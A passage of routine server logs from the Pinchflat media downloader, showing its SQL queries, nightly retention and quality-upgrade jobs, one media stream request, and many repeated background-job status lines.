ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.256 [info] Deleting 0 media items that are from before the source cutoff 21:00:00.256 [info] {"args":{},"id":7288,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":6830,"event":"job:stop","queue_time":246458,"attempt":1,"tags":["media_item","local_data"]} 21:00:03.236 [info] {"source":"oban","duration":2685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:33.239 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:38.536 [info] GET /media/5cd17bbf-5554-4eec-8a88-bd417a2d88fb/stream 21:00:38.536 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5cd17bbf-5554-4eec-8a88-bd417a2d88fb", "v" => "1780357273"} Pipelines: [:maybe_basic_auth] 21:00:38.538 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1180.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5cd17bbf-5554-4eec-8a88-bd417a2d88fb"] 21:00:38.538 [debug] Invalid range request for media item: 5cd17bbf-5554-4eec-8a88-bd417a2d88fb - serving full file 21:00:38.539 [info] Sent 200 in 2ms 21:01:00.242 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:03.243 [info] {"source":"oban","duration":2529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:33.246 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.244 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:03.249 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:33.252 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.246 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:03.255 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:33.258 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.247 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:03.261 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:33.264 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.248 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:03.268 [info] {"source":"oban","duration":2755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:33.271 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.249 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:03.274 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:33.277 [info] {"source":"oban","duration":1870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.251 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:03.280 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:33.283 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.253 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:03.286 [info] {"source":"oban","duration":2190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:33.288 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.254 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:03.290 [info] {"source":"oban","duration":2111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:33.293 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.255 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:03.296 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:33.298 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.256 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:03.301 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:33.302 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.258 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:03.305 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:33.308 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.259 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:03.311 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:33.314 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.260 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:03.317 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:33.319 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.261 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:03.322 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:33.326 [info] {"source":"oban","duration":3012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.263 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:03.329 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:33.332 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.264 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:03.335 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:33.338 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.265 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:03.341 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:33.344 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.267 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:03.347 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:33.349 [info] {"source":"oban","duration":1859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.268 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:03.352 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:33.355 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.270 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:03.358 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:33.359 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.271 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:03.362 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:33.365 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.273 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:03.368 [info] {"source":"oban","duration":1747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:33.371 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.275 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:03.374 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:33.377 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.277 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:03.380 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:33.383 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.279 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:03.387 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:33.388 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.281 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:03.389 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:33.392 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.282 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:03.395 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:33.398 [info] {"source":"oban","duration":2236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.283 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:03.401 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:33.405 [info] {"source":"oban","duration":2490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.285 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:03.407 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:33.410 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.287 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:03.413 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:33.416 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.289 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:03.421 [info] {"source":"oban","duration":3582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:33.424 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.291 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:03.426 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:33.428 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.292 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:03.434 [info] {"source":"oban","duration":4765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:33.437 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.294 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:03.440 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:33.443 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.296 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:03.448 [info] {"source":"oban","duration":3922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:33.451 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.297 [info] {"source":"oban","duration":138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:03.456 [info] {"source":"oban","duration":3822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:33.459 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.299 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:03.464 [info] {"source":"oban","duration":3951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:33.467 [info] {"source":"oban","duration":2009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.301 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:03.470 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:33.471 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.303 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:03.474 [info] {"source":"oban","duration":1777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:33.477 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.305 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:03.480 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:33.483 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.306 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:03.488 [info] {"source":"oban","duration":3923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:33.491 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.308 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:03.493 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:33.496 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.310 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:03.499 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:33.502 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.311 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:03.505 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:33.508 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.313 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:03.511 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:33.514 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.314 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:03.516 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:33.519 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.315 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:03.522 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:33.525 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.316 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:03.530 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:33.533 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.318 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:03.536 [info] {"source":"oban","duration":2535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:33.539 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.319 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:03.544 [info] {"source":"oban","duration":3810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:33.548 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.321 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:03.550 [info] {"source":"oban","duration":1972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:33.553 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.322 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:03.556 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:33.559 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.324 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:03.563 [info] {"source":"oban","duration":2435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:33.565 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.326 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:03.570 [info] {"source":"oban","duration":3678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:33.573 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.327 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:03.577 [info] {"source":"oban","duration":2946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:33.580 [info] {"source":"oban","duration":1902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.328 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:03.584 [info] {"source":"oban","duration":2777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:33.587 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.329 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:03.590 [info] {"source":"oban","duration":2161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:33.593 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.329 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:03.596 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:33.599 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.334 [info] {"source":"oban","duration":3706,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[7289]} 22:00:00.339 [info] {"args":{},"id":7289,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1780538400339879951,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:00.342 [debug] QUERY OK source="media_items" db=2.6ms idle=949.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 22:00:00.342 [info] Redownloading 0 media items 22:00:00.343 [info] {"args":{},"id":7289,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":3043,"event":"job:stop","queue_time":339363,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:03.602 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:33.605 [info] {"source":"oban","duration":2192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.336 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:03.608 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:33.611 [info] {"source":"oban","duration":2163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.338 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:03.616 [info] {"source":"oban","duration":4132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:33.619 [info] {"source":"oban","duration":2111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.340 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:03.622 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:33.625 [info] {"source":"oban","duration":1955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.342 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:03.629 [info] {"source":"oban","duration":2777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:33.632 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.343 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:03.635 [info] {"source":"oban","duration":2152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:33.638 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.344 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:03.641 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:33.644 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.345 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:03.647 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:33.650 [info] {"source":"oban","duration":2271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.347 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:03.652 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:33.655 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.348 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:03.658 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:33.661 [info] 